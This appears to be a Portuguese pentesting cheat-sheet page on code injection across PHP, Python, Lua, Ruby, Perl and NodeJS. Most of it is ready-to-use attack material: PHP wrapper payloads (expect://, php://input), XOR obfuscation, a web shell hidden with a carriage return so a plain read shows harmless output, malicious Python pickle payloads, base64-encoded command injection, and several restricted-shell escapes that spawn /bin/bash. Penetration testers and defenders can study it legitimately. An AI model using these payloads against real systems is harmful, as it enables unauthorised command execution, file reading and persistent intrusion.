Code Injection

PHP

XOR

Podemos inserir caracteres utilizando XOR. Por exemplo, caractere M, é o equivalente a expressão "0"^"}". Então, para escrevermos $_GET, podemos utilizar a seguinte expressão:

php -r 'echo "`{{{"^"?<>/";'

Inserindo Comandos via Wrappers

Executando comandos

vuln.php?page=expect://ls
/example/?page=php://input&cmd=ls

Ocultando Caracteres

echo -e "<?=\`\$_POST[1]\`?>\r<?='Test';?>" > <file.php>

Perceba que, se ler o conteúdo do arquivo gerado com o comando acima, você irá ver somente <?='PHP Test';?>, porém com o strings ou algum editor como o Sublime Text, é possível ver o seu conteúdo completo.

phar

Sempre que ver algum arquivo sendo chamado utilizando o phar, por exemplo md5_file('phar:///path/to/file');, é possível inserirmos um arquivo phar malicioso.

Python

Inject

Caso seja possível inserir comandos em Python via web, podemos utilizar o comando abaixo. Caso o comando tenha sucesso, será retornado 0 e caso tenha falha, retornará algum número como 32512, significando que o processo retornou 127 (comando não encontrado).

str(os.system('<command>'))

Caso queria ver o retorno do código, podemos utilizar o seguinte comando:

str(os.popen("<command>").read())

Tente também inserir comandos que estejam com algum encode, por exemplo, base64. Assim podemos inserir comandos no seguinte formato:

__import__('base64').b64decode('<command>')

Pegando Bash

python -c 'import os ; os.system("/bin/bash")'
python -c 'import os ; os.system("/bin/sh")'
python -c 'from subprocess import call ; call(["/bin/bash"])'

KShell

Caso esteja preso em um kshell (shell com comandos limitados), utilize o comando abaixo para sair da shell limitada e acessar como usuário comum:

echo os.system('/bin/bash')

Caso não dê certo, digite os comandos abaixo:

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

Pickles

import cPickle, os
class Blah(object):
        def __reduce__(self):
                return (os.system,("<command>",))
b=Blah()
print cPickle.dumps(b)
import pickle, base64, os
class Blah(object):
        def __reduce__(self):
                return (os.system,("<command>",))
p=pickle.dumps(Blah())
print(base64.b64encode(p))
import pickle, base64, subprocess
class User(object):
	def __reduce__(self):
		return (self.__class__, (subprocess.check_output(["id"]), ))
	def __init__(self, name):
		self.name = name
user = User("Mysther")
print(base64.b64encode(pickle.dumps(user)))

LUA

lua -e 'os.execute("/bin/sh")'
os.execute("/bin/sh")

Ruby

Execução Única

ruby -e 'puts `<command>`'

REPL

Execute o comando abaixo

ruby -e 'require "irb" ; IRB.start(__FILE__)'

Com isso irá abrir uma sessão no terminal semelhante a isso irb(main):001:0>. Agora execute comandos em volta do caractere `, exemplo:

`/bin/bash`

Perl

Lendo Arquivos do SO

perl -e 'print `/bin/bash`'
perl -e 'print `cat </path/file>`'

# Ou
open (CHECKBOOK, "</path/file>") || die "couldn't open the file!";
while ($record = <CHECKBOOK>) {
  print $record;
}
close(CHECKBOOK);

NodeJS

node -e 'var exec = require("child_process").exec; exec("<command>", function (error, stdOut, stdErr) { console.log(stdOut); });'

Last updated

Was this helpful?